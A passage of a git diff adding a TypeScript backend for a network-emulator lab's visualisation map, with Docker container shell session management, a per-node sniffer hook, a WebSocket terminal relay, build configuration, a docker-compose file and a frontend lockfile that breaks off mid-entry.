+/** + * session manager class. + * + * The session manager providers a way to open an interactive shell session + * with the container. It keeps track of previously opened sessions and re-open + * existing sessions if possible. + */ +export class SessionManager implements LogProducer { + private _logger: Logger; + + private _sessions: { + [id: string]: Session + }; + + private _docker: dockerode; + + private _newSessionCallback: (nodeId: string, session: Session) => void; + + /** + * construct new session manager. + * + * @param docker dockerode object. + * @param namespace name prefix for log outputs. this is only used for + * distinctions between multiple uses of the session manager. + */ + constructor(docker: dockerode, namespace: String = '') { + this._sessions = {}; + this._docker = docker; + this._logger = new Logger({ name: `${namespace}SessionManager` }); + } + + /** + * get the full length id of a container from a partial id. + * + * @param id partial id + * @returns full id + */ + private async _getContainerRealId(id: string): Promise { + var containers = await this._docker.listContainers(); + var candidates = containers.filter(container => container.Id.startsWith(id)); + + if (candidates.length != 1) { + var err = `no match or multiple match for container ID ${id}`; + this._logger.error(err); + throw err; + } + + return candidates[0].Id; + } + + /** + * test if a reuseable session exist for a container. + * + * @param fullId full length id of the container + * @returns true if exists, false otherwise. + */ + hasSession(fullId: string): boolean { + return this._sessions[fullId] && this._sessions[fullId].stream.writable; + } + + /** + * listen for events. + * + * event: new_session: will be invoked when a new session is created for a + * node. + * + * @param event event to listen + * @param callback callback + */ + on(event: SessionEvent, callback: (nodeId: string, session: Session) => void) { + if (event == 'new_session') { + this._newSessionCallback = callback; + } + } + + /** + * get session for a container. + * + * @param id container id. can be partial + * @param command (optional) command to start session with. default to + * ['bash'] + * @returns session + */ + async getSession(id: string, command: string[] = ['bash']): Promise { + this._logger.info(`getting container ${id}...`); + + var fullId = await this._getContainerRealId(id); + this._logger.trace(`${id}'s full id: ${fullId}.`) + + var container = this._docker.getContainer(fullId); + + if (this._sessions[fullId]) { + var session = this._sessions[fullId]; + this._logger.debug(`found existing session for ${id}, try re-attach...`); + var stream = session.stream; + if (stream.writable) { + this._logger.info(`attached to existing session for ${id}.`); + return session; + } + this._logger.info(`existing session for ${id} is invalid, creating new session.`); + } + + this._logger.trace(`getting container ${id}...`); + + var execOpt = { + AttachStdin: true, + AttachStdout: true, + AttachStderr: true, + Tty: true, + Cmd: command + }; + this._logger.trace('spawning exec object with options:', execOpt); + var exec = await container.exec(execOpt); + + var startOpt = { + Tty: true, + Detach: false, + stdin: true, + hijack: true + }; + this._logger.trace('starting exec object with options:', startOpt); + var stream = await exec.start(startOpt); + + this._logger.info(`started session for container ${id}.`); + + this._sessions[fullId] = { + stream, exec + }; + + if (this._newSessionCallback) { + this._newSessionCallback(fullId, this._sessions[fullId]); + } + + return this._sessions[fullId]; + } + + getLoggers(): Logger[] { + return [this._logger]; + } +}; \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/utils/sniffer.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/sniffer.ts new file mode 100644 index 000000000..f0a25c933 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/sniffer.ts @@ -0,0 +1,52 @@ +import dockerode from 'dockerode'; +import { LogProducer } from '../interfaces/log-producer'; +import { Logger } from 'tslog'; +import { SessionManager, Session } from './session-manager'; + +export class Sniffer implements LogProducer { + private _logger: Logger; + private _listener: (nodeId: string, stdout: any) => void; + private _sessionManager: SessionManager; + + constructor(docker: dockerode) { + this._logger = new Logger({ name: 'Sniffer' }); + this._sessionManager = new SessionManager(docker, 'Sniffer'); + this._sessionManager.on('new_session', this._listenTo.bind(this)); + } + + private _listenTo(nodeId: string, session: Session) { + this._logger.debug(`got new session for noed ${nodeId}; attaching listener...`); + + session.stream.addListener('data', data => { + if (this._listener) { + this._listener(nodeId, data); + } + }); + } + + async sniff(nodes: string[], expr: string) { + this._logger.debug(`sniffing on ${nodes} with expr ${expr}...`); + + var sessions = await Promise.all(nodes.map(node => this._sessionManager.getSession(node, ['/seedemu_sniffer']))); + + sessions.forEach(session => { + try { + session.stream.write(`${expr}\r`); + } catch (e) { + this._logger.error("error communicating with node."); + } + }); + } + + setListener(listener: (nodeId: string, stdout: any) => void) { + this._listener = listener; + } + + clearListener() { + this._listener = undefined; + } + + getLoggers(): Logger[] { + return [this._logger, this._sessionManager.getLoggers()[0]]; + } +} \ No newline at end of file diff --git a/examples/not-ready-examples/25-wannacry/map/backend/src/utils/socket-handler.ts b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/socket-handler.ts new file mode 100644 index 000000000..a97bf7f7a --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/src/utils/socket-handler.ts @@ -0,0 +1,71 @@ +import { Logger } from 'tslog'; +import dockerode from 'dockerode'; +import { SessionManager } from './session-manager'; +import WebSocket from 'ws'; +import { LogProducer } from '../interfaces/log-producer'; + +export class SocketHandler implements LogProducer { + private _logger: Logger; + private _sessionManager: SessionManager; + + constructor(docker: dockerode) { + this._sessionManager = new SessionManager(docker); + this._logger = new Logger({ name: 'SocketHandler' }); + } + + async handleSession(ws: WebSocket, id: string) { + ws.send(`\x1b[0;30mConnecting to ${id}...\x1b[0m\r\n`); + + try { + var session = await this._sessionManager.getSession(id); + + var dataHandler = (data: any) => { + ws.send(data); + }; + + var closeHandler = () => { + ws.close(); + }; + + ws.send(`\x1b[0;30mConnected to ${id}.\x1b[0m\r\n`); + + ws.on('close', () => { + session.stream.removeListener('data', dataHandler); + session.stream.removeListener('close', closeHandler); + }); + + ws.on('message', async (data: string) => { + if (typeof data === 'string' && data.length > 4 && data.substr(0, 4) == '\t\r\n\t') { // "control messages" + let msg = data.substr(4); + let [type, payload] = msg.split(';'); + if (type == 'termsz') { + let [rows, cols] = payload.split(','); + let _rows: number = Number.parseInt(rows); + let _cols: number = Number.parseInt(cols); + + await session.exec.resize({ + h: _rows, + w: _cols + }); + }; + return; + } + session.stream.write(data); + }); + + session.stream.addListener('data', dataHandler); + session.stream.addListener('close', closeHandler); + } catch (e) { + this._logger.error(e); + throw e; + } + } + + getSessionManager(): SessionManager { + return this._sessionManager; + } + + getLoggers(): Logger[] { + return [this._logger, this._sessionManager.getLoggers()[0]]; + } +}; diff --git a/examples/not-ready-examples/25-wannacry/map/backend/tsconfig.json b/examples/not-ready-examples/25-wannacry/map/backend/tsconfig.json new file mode 100644 index 000000000..80ba62a09 --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/backend/tsconfig.json @@ -0,0 +1,14 @@ +{ + "compilerOptions": { + "module": "commonjs", + "noImplicitAny": true, + "removeComments": true, + "preserveConstEnums": true, + "esModuleInterop": true, + "sourceMap": true, + "types": ["node"], + "outDir": "bin/" + }, + "include": ["src/**/*"], + "exclude": ["node_modules"] +} diff --git a/examples/not-ready-examples/25-wannacry/map/docker-compose.yml b/examples/not-ready-examples/25-wannacry/map/docker-compose.yml new file mode 100644 index 000000000..90baa2e5f --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/docker-compose.yml @@ -0,0 +1,10 @@ +version: "3" + +services: + seedemu-client: + build: . + container_name: seedemu_client + volumes: + - /var/run/docker.sock:/var/run/docker.sock + ports: + - 8080:8080 diff --git a/examples/not-ready-examples/25-wannacry/map/frontend/package-lock.json b/examples/not-ready-examples/25-wannacry/map/frontend/package-lock.json new file mode 100644 index 000000000..e7efadc7b --- /dev/null +++ b/examples/not-ready-examples/25-wannacry/map/frontend/package-lock.json @@ -0,0 +1,2750 @@ +{ + "name": "container-manager-client", + "version": "0.0.1", + "lockfileVersion": 2, + "requires": true, + "packages": { + "": { + "name": "container-manager-client", + "version": "0.0.1", + "license": "MIT", + "dependencies": { + "@egjs/hammerjs": "^2.0.17", + "@types/bootstrap": "^5.0.4", + "@types/datatables.net": "^1.10.19", + "@types/datatables.net-select": "^1.2.6", + "@types/hammerjs": "^2.0.36", + "@types/jquery": "^3.5.5", + "@types/jqueryui": "^1.12.14", + "bootstrap": "^4.5.3", + "bootstrap-icons": "^1.3.0", + "component-emitter": "^1.3.0", + "datatables.net": "^1.10.23", + "datatables.net-bs4": "^1.10.23", + "datatables.net-select": "^1.3.1", + "datatables.net-select-bs4": "^1.3.1", + "file-loader": "^6.2.0", + "hammerjs": "^2.0.8", + "jquery": "^3.5.1", + "jquery-ui": "^1.12.1", + "keycharm": "^0.4.0", + "popper.js": "^1.16.1", + "timsort": "^0.3.0", + "uuid": "^8.3.2", + "vis-data": "^7.1.2", + "vis-network": "^9.0.4", + "vis-util": "^5.0.2", + "xterm": "^4.9.0", + "xterm-addon-attach": "^0.6.0", + "xterm-addon-fit": "^0.4.0" + }, + "devDependencies": { + "css-loader": "^5.0.1", + "style-loader": "^2.0.0", + "ts-loader": "^8.0.14", + "typescript": "^4.1.3", + "webpack": "^5.14.0" + } + }, + "node_modules/@egjs/hammerjs": { + "version": "2.0.17", + "resolved": "https://registry.npmjs.org/@egjs/hammerjs/-/hammerjs-2.0.17.tgz", + "integrity": "sha512-XQsZgjm2EcVUiZQf11UBJQfmZeEmOW8DpI1gsFeln6w0ae0ii4dMQEQ0kjl6DspdWX1aGY1/loyXnP0JS06e/A==", + "dependencies": { + "@types/hammerjs": "^2.0.36" + }, + "engines": { + "node": ">=0.8.0" + } + }, + "node_modules/@popperjs/core": { + "version": "2.6.0", + "resolved": "https://registry.npmjs.org/@popperjs/core/-/core-2.6.0.tgz", + "integrity": "sha512-cPqjjzuFWNK3BSKLm0abspP0sp/IGOli4p5I5fKFAzdS8fvjdOwDCfZqAaIiXd9lPkOWi3SUUfZof3hEb7J/uw==" + }, + "node_modules/@types/bootstrap": { + "version": "5.0.4", + "resolved": "https://registry.npmjs.org/@types/bootstrap/-/bootstrap-5.0.4.tgz", + "integrity": "sha512-Awa1onTcDziszyFDAAa2AawwYCQamGBLqR3YuRhJHJNlAFKwpfzsE+lfSyKtwxRNEImpkWevhOuwo0yPadd3hA==", + "dependencies": { + "@popperjs/core": "^2.6.0", + "@types/jquery": "*" + } + }, + "node_modules/@types/datatables.net": { + "version": "1.10.19", + "resolved": "https://registry.npmjs.org/@types/datatables.net/-/datatables.net-1.10.19.tgz", + "integrity": "sha512-WuzgytEmsIpVYZbkce+EvK1UqBI7/cwcC/WgYeAtXdq2zi+yWzJwMT5Yb6irAiOi52DBjeAEeRt3bYzFYvHWCQ==", + "dependencies": { + "@types/jquery": "*" + } + }, + "node_modules/@types/datatables.net-select": { + "version": "1.2.6", + "resolved": "https://registry.npmjs.org/@types/datatables.net-select/-/datatables.net-select-1.2.6.tgz", + "integrity": "sha512-F114lcN6EuAELInU/ZSb1gGyQNfUFCAdZRbo12dRNtdt+HYxiRHVmow46J7Qy0Hv44/6DaPHwHKhVq35eY3LPg==", + "dependencies": { + "@types/datatables.net": "*", + "@types/jquery": "*" + } + }, + "node_modules/@types/eslint": { + "version": "7.2.6", + "resolved": "https://registry.npmjs.org/@types/eslint/-/eslint-7.2.6.tgz", + "integrity": "sha512-I+1sYH+NPQ3/tVqCeUSBwTE/0heyvtXqpIopUUArlBm0Kpocb8FbMa3AZ/ASKIFpN3rnEx932TTXDbt9OXsNDw==", + "dev": true, + "dependencies": { + "@types/estree": "*", + "@types/json-schema": "*" + } + }, + "node_modules/@types/eslint-scope": { + "version": "3.7.0", + "resolved": "https://registry.npmjs.org/@types/eslint-scope/-/eslint-scope-3.7.0.tgz", + "integrity": "sha512-O/ql2+rrCUe2W2rs7wMR+GqPRcgB6UiqN5RhrR5xruFlY7l9YLMn0ZkDzjoHLeiFkR8MCQZVudUuuvQ2BLC9Qw==", + "dev": true, + "dependencies": { + "@types/eslint": "*", + "@types/estree": "*" + } + }, + "node_modules/@types/estree": { + "version": "0.0.45", + "resolved": "https://registry.npmjs.org/@types/estree/-/estree-0.0.45.tgz", + "integrity": "sha512-jnqIUKDUqJbDIUxm0Uj7bnlMnRm1T/eZ9N+AVMqhPgzrba2GhGG5o/jCTwmdPK709nEZsGoMzXEDUjcXHa3W0g==", + "dev": true + }, + "node_modules/@types/hammerjs": { + "version": "2.0.36", + "resolved": "https://registry.npmjs.org/@types/hammerjs/-/hammerjs-2.0.36.tgz", + "integrity": "sha512-7TUK/k2/QGpEAv/BCwSHlYu3NXZhQ9ZwBYpzr9tjlPIL2C5BeGhH3DmVavRx3ZNyELX5TLC91JTz/cen6AAtIQ==" + }, + "node_modules/@types/jquery": { + "version": "3.5.5", + "resolved": "https://registry.npmjs.org/@types/jquery/-/jquery-3.5.5.tgz", + "integrity": "sha512-6RXU9Xzpc6vxNrS6FPPapN1SxSHgQ336WC6Jj/N8q30OiaBZ00l1GBgeP7usjVZPivSkGUfL1z/WW6TX989M+w==", + "dependencies": { + "@types/sizzle": "*" + } + }, + "node_modules/@types/jqueryui": { + "version": "1.12.14", + "resolved": "https://registry.npmjs.org/@types/jqueryui/-/jqueryui-1.12.14.tgz", + "integrity": "sha512-fR9PoOI0yauBS0sjGaU3ao0s2pJWjBi0yVYnPdYbllNoimaPUlHMOh0Ubq+hy8OB258hRSlK2hWCJk40kNhrZQ==", + "dependencies": { + "@types/jquery": "*" + } + }, + "node_modules/@types/json-schema": { + "version": "7.0.6", + "resolved": "https://registry.npmjs.org/@types/json-schema/-/json-schema-7.0.6.tgz", + "integrity": "sha512-3c+yGKvVP5Y9TYBEibGNR+kLtijnj7mYrXRg+WpFb2X9xm04g/DXYkfg4hmzJQosc9snFNUPkbYIhu+KAm6jJw==" + }, + "node_modules/@types/node": { + "version": "14.14.20", + "resolved": "https://registry.npmjs.org/@types/node/-/node-14.14.20.tgz", + "integrity": "sha512-Y93R97Ouif9JEOWPIUyU+eyIdyRqQR0I8Ez1dzku4hDx34NWh4HbtIc3WNzwB1Y9ULvNGeu5B8h8bVL5cAk4/A==", + "dev": true + }, + "node_modules/@types/sizzle": { + "version": "2.3.2", + "resolved": "https://registry.npmjs.org/@types/sizzle/-/sizzle-2.3.2.tgz", + "integrity": "sha512-7EJYyKTL7tFR8+gDbB6Wwz/arpGa0Mywk1TJbNzKzHtzbwVmY4HR9WqS5VV7dsBUKQmPNr192jHr/VpBluj/hg==" + }, + "node_modules/@webassemblyjs/ast": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ast/-/ast-1.11.0.tgz", + "integrity": "sha512-kX2W49LWsbthrmIRMbQZuQDhGtjyqXfEmmHyEi4XWnSZtPmxY0+3anPIzsnRb45VH/J55zlOfWvZuY47aJZTJg==", + "dev": true, + "dependencies": { + "@webassemblyjs/helper-numbers": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0" + } + }, + "node_modules/@webassemblyjs/floating-point-hex-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/floating-point-hex-parser/-/floating-point-hex-parser-1.11.0.tgz", + "integrity": "sha512-Q/aVYs/VnPDVYvsCBL/gSgwmfjeCb4LW8+TMrO3cSzJImgv8lxxEPM2JA5jMrivE7LSz3V+PFqtMbls3m1exDA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-api-error": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-api-error/-/helper-api-error-1.11.0.tgz", + "integrity": "sha512-baT/va95eXiXb2QflSx95QGT5ClzWpGaa8L7JnJbgzoYeaA27FCvuBXU758l+KXWRndEmUXjP0Q5fibhavIn8w==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-buffer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-buffer/-/helper-buffer-1.11.0.tgz", + "integrity": "sha512-u9HPBEl4DS+vA8qLQdEQ6N/eJQ7gT7aNvMIo8AAWvAl/xMrcOSiI2M0MAnMCy3jIFke7bEee/JwdX1nUpCtdyA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-numbers": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-numbers/-/helper-numbers-1.11.0.tgz", + "integrity": "sha512-DhRQKelIj01s5IgdsOJMKLppI+4zpmcMQ3XboFPLwCpSNH6Hqo1ritgHgD0nqHeSYqofA6aBN/NmXuGjM1jEfQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/floating-point-hex-parser": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/helper-wasm-bytecode": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-bytecode/-/helper-wasm-bytecode-1.11.0.tgz", + "integrity": "sha512-MbmhvxXExm542tWREgSFnOVo07fDpsBJg3sIl6fSp9xuu75eGz5lz31q7wTLffwL3Za7XNRCMZy210+tnsUSEA==", + "dev": true + }, + "node_modules/@webassemblyjs/helper-wasm-section": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/helper-wasm-section/-/helper-wasm-section-1.11.0.tgz", + "integrity": "sha512-3Eb88hcbfY/FCukrg6i3EH8H2UsD7x8Vy47iVJrP967A9JGqgBVL9aH71SETPx1JrGsOUVLo0c7vMCN22ytJew==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0" + } + }, + "node_modules/@webassemblyjs/ieee754": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/ieee754/-/ieee754-1.11.0.tgz", + "integrity": "sha512-KXzOqpcYQwAfeQ6WbF6HXo+0udBNmw0iXDmEK5sFlmQdmND+tr773Ti8/5T/M6Tl/413ArSJErATd8In3B+WBA==", + "dev": true, + "dependencies": { + "@xtuc/ieee754": "^1.2.0" + } + }, + "node_modules/@webassemblyjs/leb128": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/leb128/-/leb128-1.11.0.tgz", + "integrity": "sha512-aqbsHa1mSQAbeeNcl38un6qVY++hh8OpCOzxhixSYgbRfNWcxJNJQwe2rezK9XEcssJbbWIkblaJRwGMS9zp+g==", + "dev": true, + "dependencies": { + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@webassemblyjs/utf8": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/utf8/-/utf8-1.11.0.tgz", + "integrity": "sha512-A/lclGxH6SpSLSyFowMzO/+aDEPU4hvEiooCMXQPcQFPPJaYcPQNKGOCLUySJsYJ4trbpr+Fs08n4jelkVTGVw==", + "dev": true + }, + "node_modules/@webassemblyjs/wasm-edit": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-edit/-/wasm-edit-1.11.0.tgz", + "integrity": "sha512-JHQ0damXy0G6J9ucyKVXO2j08JVJ2ntkdJlq1UTiUrIgfGMmA7Ik5VdC/L8hBK46kVJgujkBIoMtT8yVr+yVOQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/helper-wasm-section": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-opt": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0", + "@webassemblyjs/wast-printer": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wasm-gen": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-gen/-/wasm-gen-1.11.0.tgz", + "integrity": "sha512-BEUv1aj0WptCZ9kIS30th5ILASUnAPEvE3tVMTrItnZRT9tXCLW2LEXT8ezLw59rqPP9klh9LPmpU+WmRQmCPQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wasm-opt": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-opt/-/wasm-opt-1.11.0.tgz", + "integrity": "sha512-tHUSP5F4ywyh3hZ0+fDQuWxKx3mJiPeFufg+9gwTpYp324mPCQgnuVKwzLTZVqj0duRDovnPaZqDwoyhIO8kYg==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-buffer": "1.11.0", + "@webassemblyjs/wasm-gen": "1.11.0", + "@webassemblyjs/wasm-parser": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wasm-parser": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wasm-parser/-/wasm-parser-1.11.0.tgz", + "integrity": "sha512-6L285Sgu9gphrcpDXINvm0M9BskznnzJTE7gYkjDbxET28shDqp27wpruyx3C2S/dvEwiigBwLA1cz7lNUi0kw==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@webassemblyjs/helper-api-error": "1.11.0", + "@webassemblyjs/helper-wasm-bytecode": "1.11.0", + "@webassemblyjs/ieee754": "1.11.0", + "@webassemblyjs/leb128": "1.11.0", + "@webassemblyjs/utf8": "1.11.0" + } + }, + "node_modules/@webassemblyjs/wast-printer": { + "version": "1.11.0", + "resolved": "https://registry.npmjs.org/@webassemblyjs/wast-printer/-/wast-printer-1.11.0.tgz", + "integrity": "sha512-Fg5OX46pRdTgB7rKIUojkh9vXaVN6sGYCnEiJN1GYkb0RPwShZXp6KTDqmoMdQPKhcroOXh3fEzmkWmCYaKYhQ==", + "dev": true, + "dependencies": { + "@webassemblyjs/ast": "1.11.0", + "@xtuc/long": "4.2.2" + } + }, + "node_modules/@xtuc/ieee754": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@xtuc/ieee754/-/ieee754-1.2.0.tgz", + "integrity": "sha512-DX8nKgqcGwsc0eJSqYt5lwP4DH5FlHnmuWWBRy7X0NcaGR0ZtuyeESgMwTYVEtxmsNGY+qit4QYT/MIYTOTPeA==", + "dev": true + }, + "node_modules/@xtuc/long": { + "version": "4.2.2", + "resolved": "https://registry.npmjs.org/@xtuc/long/-/long-4.2.2.tgz", + "integrity": "sha512-NuHqBY1PB/D8xU6s/thBgOAiAP7HOYDQ32+BFZILJ8ivkUkAHQnWfn6WhL79Owj1qmUnoN/YPhktdIoucipkAQ==", + "dev": true + }, + "node_modules/acorn": { + "version": "8.0.4", + "resolved": "https://registry.npmjs.org/acorn/-/acorn-8.0.4.tgz", + "integrity": "sha512-XNP0PqF1XD19ZlLKvB7cMmnZswW4C/03pRHgirB30uSJTaS3A3V1/P4sS3HPvFmjoriPCJQs+JDSbm4bL1TxGQ==", + "dev": true, + "bin": { + "acorn": "bin/acorn" + }, + "engines": { + "node": ">=0.4.0" + } + }, + "node_modules/ajv": { + "version": "6.12.6", + "resolved": "https://registry.npmjs.org/ajv/-/ajv-6.12.6.tgz", + "integrity": "sha512-j3fVLgvTo527anyYyJOGTYJbG+vnnQYvE0m5mmkc1TK+nxAppkCLMIL0aZ4dblVCNoGShhm+kzE4ZUykBoMg4g==", + "dependencies": { + "fast-deep-equal": "^3.1.1", + "fast-json-stable-stringify": "^2.0.0", + "json-schema-traverse": "^0.4.1", + "uri-js": "^4.2.2" + } + }, + "node_modules/ajv-keywords": { + "version": "3.5.2", + "resolved": "https://registry.npmjs.org/ajv-keywords/-/ajv-keywords-3.5.2.tgz", + "integrity": "sha512-5p6WTN0DdTGVQk6VjcEju19IgaHudalcfabD7yhDGeA6bcQnmL+CpveLJq/3hvfwd1aof6L386Ougkx6RfyMIQ==" + }, + "node_modules/ansi-styles": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-4.3.0.tgz", + "integrity": "sha512-zbB9rCJAT1rbjiVDb2hqKFHNYLxgtk8NURxZ3IZwD3F6NtxbXZQCnnSi1Lkx+IDohdPlFp222wVALIheZJQSEg==", + "dev": true, + "dependencies": { + "color-convert": "^2.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/big.js": { + "version": "5.2.2", + "resolved": "https://registry.npmjs.org/big.js/-/big.js-5.2.2.tgz", + "integrity": "sha512-vyL2OymJxmarO8gxMr0mhChsO9QGwhynfuu4+MHTAW6czfq9humCB7rKpUjDd9YUiDPU4mzpyupFSvOClAwbmQ==", + "engines": { + "node": "*" + } + }, + "node_modules/bootstrap": { + "version": "4.5.3", + "resolved": "https://registry.npmjs.org/bootstrap/-/bootstrap-4.5.3.tgz", + "integrity": "sha512-o9ppKQioXGqhw8Z7mah6KdTYpNQY//tipnkxppWhPbiSWdD+1raYsnhwEZjkTHYbGee4cVQ0Rx65EhOY/HNLcQ==" + }, + "node_modules/bootstrap-icons": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/bootstrap-icons/-/bootstrap-icons-1.3.0.tgz", + "integrity": "sha512-w6zQ93p626zmPDqDtET7VdB9EkoDtfmCBV53hunjntoCke6X5LafXf6TxPAP+ImjRAhhxAyA/sjzQnHBY0uoiQ==", + "engines": { + "node": ">=10" + } + }, + "node_modules/braces": { + "version": "3.0.2", + "resolved": "https://registry.npmjs.org/braces/-/braces-3.0.2.tgz", + "integrity": "sha512-b8um+L1RzM3WDSzvhm6gIz1yfTbBt6YTlcEKAvsmqCZZFw46z626lVj9j1yEPW33H5H+lBQpZMP1k8l+78Ha0A==", + "dev": true, + "dependencies": { + "fill-range": "^7.0.1" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/browserslist": { + "version": "4.16.1", + "resolved": "https://registry.npmjs.org/browserslist/-/browserslist-4.16.1.tgz", + "integrity": "sha512-UXhDrwqsNcpTYJBTZsbGATDxZbiVDsx6UjpmRUmtnP10pr8wAYr5LgFoEFw9ixriQH2mv/NX2SfGzE/o8GndLA==", + "dev": true, + "dependencies": { + "caniuse-lite": "^1.0.30001173", + "colorette": "^1.2.1", + "electron-to-chromium": "^1.3.634", + "escalade": "^3.1.1", + "node-releases": "^1.1.69" + }, + "bin": { + "browserslist": "cli.js" + }, + "engines": { + "node": "^6 || ^7 || ^8 || ^9 || ^10 || ^11 || ^12 || >=13.7" + } + }, + "node_modules/buffer-from": { + "version": "1.1.1", + "resolved": "https://registry.npmjs.org/buffer-from/-/buffer-from-1.1.1.tgz", + "integrity": "sha512-MQcXEUbCKtEo7bhqEs6560Hyd4XaovZlO/k9V3hjVUF/zwW7KBVdSK4gIt/bzwS9MbR5qob+F5jusZsb0YQK2A==", + "dev": true + }, + "node_modules/camelcase": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/camelcase/-/camelcase-6.2.0.tgz", + "integrity": "sha512-c7wVvbw3f37nuobQNtgsgG9POC9qMbNuMQmTCqZv23b6MIz0fcYpBiOlv9gEN/hdLdnZTDQhg6e9Dq5M1vKvfg==", + "dev": true, + "engines": { + "node": ">=10" + } + }, + "node_modules/caniuse-lite": { + "version": "1.0.30001176", + "resolved": "https://registry.npmjs.org/caniuse-lite/-/caniuse-lite-1.0.30001176.tgz", + "integrity": "sha512-VWdkYmqdkDLRe0lvfJlZQ43rnjKqIGKHWhWWRbkqMsJIUaYDNf/K/sdZZcVO6YKQklubokdkJY+ujArsuJ5cag==", + "dev": true + }, + "node_modules/chalk": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.0.tgz", + "integrity": "sha512-qwx12AxXe2Q5xQ43Ac//I6v5aXTipYrSESdOgzrN+9XjgEpyjpKuvSGaN4qE93f7TQTlerQQ8S+EQ0EyDoVL1A==", + "dev": true, + "dependencies": { + "ansi-styles": "^4.1.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/chrome-trace-event": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/chrome-trace-event/-/chrome-trace-event-1.0.2.tgz", + "integrity": "sha512-9e/zx1jw7B4CO+c/RXoCsfg/x1AfUBioy4owYH0bJprEYAx5hRFLRhWBqHAG57D0ZM4H7vxbP7bPe0VwhQRYDQ==", + "dev": true, + "dependencies": { + "tslib": "^1.9.0" + }, + "engines": { + "node": ">=6.0" + } + }, + "node_modules/color-convert": { + "version": "2.0.1", + "resolved": "https://registry.npmjs.org/color-convert/-/color-convert-2.0.1.tgz", + "integrity": "sha512-RRECPsj7iu/xb5oKYcsFHSppFNnsj/52OVTRKb4zP5onXwVF3zVmmToNcOfGC+CRDpfK/U584fMg38ZHCaElKQ==", + "dev": true, + "dependencies": { + "color-name": "~1.1.4" + }, + "engines": { + "node": ">=7.0.0" + } + }, + "node_modules/color-name": { + "version": "1.1.4", + "resolved": "https://registry.npmjs.org/color-name/-/color-name-1.1.4.tgz", + "integrity": "sha512-dOy+3AuW3a2wNbZHIuMZpTcgjGuLU/uBL/ubcZF9OXbDo8ff4O8yVp5Bf0efS8uEoYo5q4Fx7dY9OgQGXgAsQA==", + "dev": true + }, + "node_modules/colorette": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/colorette/-/colorette-1.2.1.tgz", + "integrity": "sha512-puCDz0CzydiSYOrnXpz/PKd69zRrribezjtE9yd4zvytoRc8+RY/KJPvtPFKZS3E3wP6neGyMe0vOTlHO5L3Pw==", + "dev": true + }, + "node_modules/commander": { + "version": "2.20.3", + "resolved": "https://registry.npmjs.org/commander/-/commander-2.20.3.tgz", + "integrity": "sha512-GpVkmM8vF2vQUkj2LvZmD35JxeJOLCwJ9cUkugyk2nuhbv3+mJvpLYYt+0+USMxE+oj+ey/lJEnhZw75x/OMcQ==", + "dev": true + }, + "node_modules/component-emitter": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/component-emitter/-/component-emitter-1.3.0.tgz", + "integrity": 